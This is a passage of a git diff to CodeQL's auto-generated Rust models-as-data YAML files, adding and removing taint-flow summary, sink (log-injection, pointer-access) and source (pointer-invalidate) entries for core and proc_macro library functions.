"Argument[2]", "ReturnValue.Field[crate::task::wake::RawWakerVTable::wake_by_ref]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[3]", "ReturnValue.Field[crate::task::wake::RawWakerVTable::drop]", "value", "dfc-generated"] - ["lang:core", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] - - ["lang:core", "::clone_from", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] - ["lang:core", "::data", "Argument[self].Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::task::wake::Waker::waker]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::data]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::vtable]", "value", "dfc-generated"] - ["lang:core", "::vtable", "Argument[self].Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::vtable]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1506,6 +1948,7 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::time::Duration::secs]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::time::Duration::nanos].Field[crate::num::niche_types::Nanoseconds(0)]", "value", "dfc-generated"] - ["lang:core", "::saturating_mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::downcast_mut_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::downcast_ref_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::downcast_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1539,6 +1982,7 @@ extensions: - ["lang:core", "::to_degrees", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -1566,6 +2010,10 @@ extensions: - ["lang:core", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1592,6 +2040,10 @@ extensions: - ["lang:core", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1621,6 +2073,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1679,6 +2138,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1741,6 +2207,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1803,6 +2276,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1865,6 +2345,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1927,6 +2414,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1989,16 +2483,25 @@ extensions: - ["lang:core", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_bytes_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_mut_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_utf8_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_utf8_unchecked_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rsplitn", "Argument[0]", "ReturnValue.Field[crate::str::iter::RSplitN(0)].Field[crate::str::iter::SplitNInternal::count]", "value", "dfc-generated"] - ["lang:core", "::splitn", "Argument[0]", "ReturnValue.Field[crate::str::iter::SplitN(0)].Field[crate::str::iter::SplitNInternal::count]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2073,6 +2576,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2160,6 +2669,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2179,6 +2694,7 @@ extensions: - ["lang:core", "::full_mul_add", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::full_mul_add", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::full_mul_add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::cast", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -2247,6 +2763,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2259,6 +2781,7 @@ extensions: - ["lang:core", "::disjoint_bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::steps_between", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::steps_between", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::cast", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -2327,6 +2850,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2417,6 +2946,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2554,9 +3089,6 @@ extensions: - ["lang:core", "crate::iter::sources::successors::successors", "Argument[0]", "ReturnValue.Field[crate::iter::sources::successors::Successors::next]", "value", "dfc-generated"] - ["lang:core", "crate::iter::sources::successors::successors", "Argument[1]", "ReturnValue.Field[crate::iter::sources::successors::Successors::succ]", "value", "dfc-generated"] - ["lang:core", "crate::mem::copy", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::mem::replace", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::mem::replace", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] - - ["lang:core", "crate::mem::take", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "crate::mem::transmute_copy", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::num::flt2dec::estimator::estimate_scaling_factor", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::num::flt2dec::strategy::dragon::format_exact", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -2584,8 +3116,6 @@ extensions: - ["lang:core", "crate::panic::abort_unwind", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "crate::ptr::from_mut", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "crate::ptr::from_ref", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::ptr::replace", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::ptr::replace", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:core", "crate::ptr::with_exposed_provenance", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::ptr::with_exposed_provenance_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::slice::index::range", "Argument[1].Field[crate::ops::range::RangeTo::end]", "ReturnValue.Field[crate::ops::range::Range::end]", "value", "dfc-generated"] @@ -2598,3 +3128,41 @@ extensions: - ["lang:core", "crate::str::converts::from_utf8_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::str::converts::from_utf8_unchecked_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::str::validations::next_code_point", "Argument[0].Element", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:core", "<[_]>::select_nth_unstable", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "<[_]>::select_nth_unstable_by", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "<[_]>::select_nth_unstable_by_key", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "<_ as crate::clone::uninit::CopySpec>::clone_one", "Argument[1]", "pointer-access", "df-generated"] + - ["lang:core", "::force_mut", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "::index", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::take", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::map", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:core", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::expect_err", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::unwrap_or_else", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::mem::transmute_copy", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "crate::panicking::assert_failed", "Argument[3]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::assert_matches_failed", "Argument[2]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::panic_display", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::panic_str_2015", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::unreachable_display", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::slice::sort::select::partition_at_index", "Argument[1]", "log-injection", "df-generated"] + - ["lang:core", "crate::slice::sort::stable::drift::sort", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "crate::slice::sort::stable::quicksort::quicksort", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "crate::slice::sort::stable::sort", "Argument[0]", "pointer-access", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:core", "<[crate::mem::maybe_uninit::MaybeUninit]>::assume_init_drop", "Argument[self]", "pointer-invalidate", "df-generated"] + - ["lang:core", "crate::intrinsics::drop_in_place", "Argument[0]", "pointer-invalidate", "df-generated"] + - ["lang:core", "crate::ptr::dangling", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["lang:core", "crate::ptr::drop_in_place", "Argument[0]", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-other.model.yml b/rust/ql/lib/ext/generated/rust/lang-other.model.yml new file mode 100644 index 00000000000..5c88c935851 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/lang-other.model.yml @@ -0,0 +1,8 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["lang:other", "::set", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:other", "::unset", "Argument[0]", "Argument[self]", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml b/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml index 8f45f5773b4..8c26b521233 100644 --- a/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml @@ -49,18 +49,28 @@ extensions: - ["lang:proc_macro", "::mark", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::unmark", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::into_token_stream", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:proc_macro", "::expand_expr", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:proc_macro", "::expand_expr", "Argument[self].Field[crate::TokenStream(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Group(0)]", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Ident(0)]", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Literal(0)]", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue.Field[crate::TokenTree::Punct(0)]", "value", "dfc-generated"] + - ["lang:proc_macro", "::from", "Argument[0].Field[crate::bridge::rpc::PanicMessage::StaticStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:proc_macro", "::from", "Argument[0].Field[crate::bridge::rpc::PanicMessage::String(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:proc_macro", "::from_single", "Argument[0]", "ReturnValue.Field[crate::bridge::DelimSpan::close]", "value", "dfc-generated"] - ["lang:proc_macro", "::from_single", "Argument[0]", "ReturnValue.Field[crate::bridge::DelimSpan::entire]", "value", "dfc-generated"] - ["lang:proc_macro", "::from_single", "Argument[0]", "ReturnValue.Field[crate::bridge::DelimSpan::open]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Diagnostic::level]", "ReturnValue.Field[crate::bridge::Diagnostic::level]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Group::delimiter]", "ReturnValue.Field[crate::bridge::Group::delimiter]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Ident::is_raw]", "ReturnValue.Field[crate::bridge::Ident::is_raw]", "value", "dfc-generated"] - ["lang:proc_macro", "::mark", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::unmark", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Literal::kind]", "ReturnValue.Field[crate::bridge::Literal::kind]", "value", "dfc-generated"] - ["lang:proc_macro", "::mark", "Argument[0]", "ReturnValue.Field[crate::bridge::Marked::value]", "value", "dfc-generated"] - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Marked::value]", "ReturnValue", "value", "dfc-generated"] - - ["lang:proc_macro", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:proc_macro", "::decode", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Punct::ch]", "ReturnValue.Field[crate::bridge::Punct::ch]", "value", "dfc-generated"] + - ["lang:proc_macro", "::unmark", "Argument[self].Field[crate::bridge::Punct::joint]", "ReturnValue.Field[crate::bridge::Punct::joint]", "value", "dfc-generated"] - ["lang:proc_macro", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::attr", "Argument[0]", 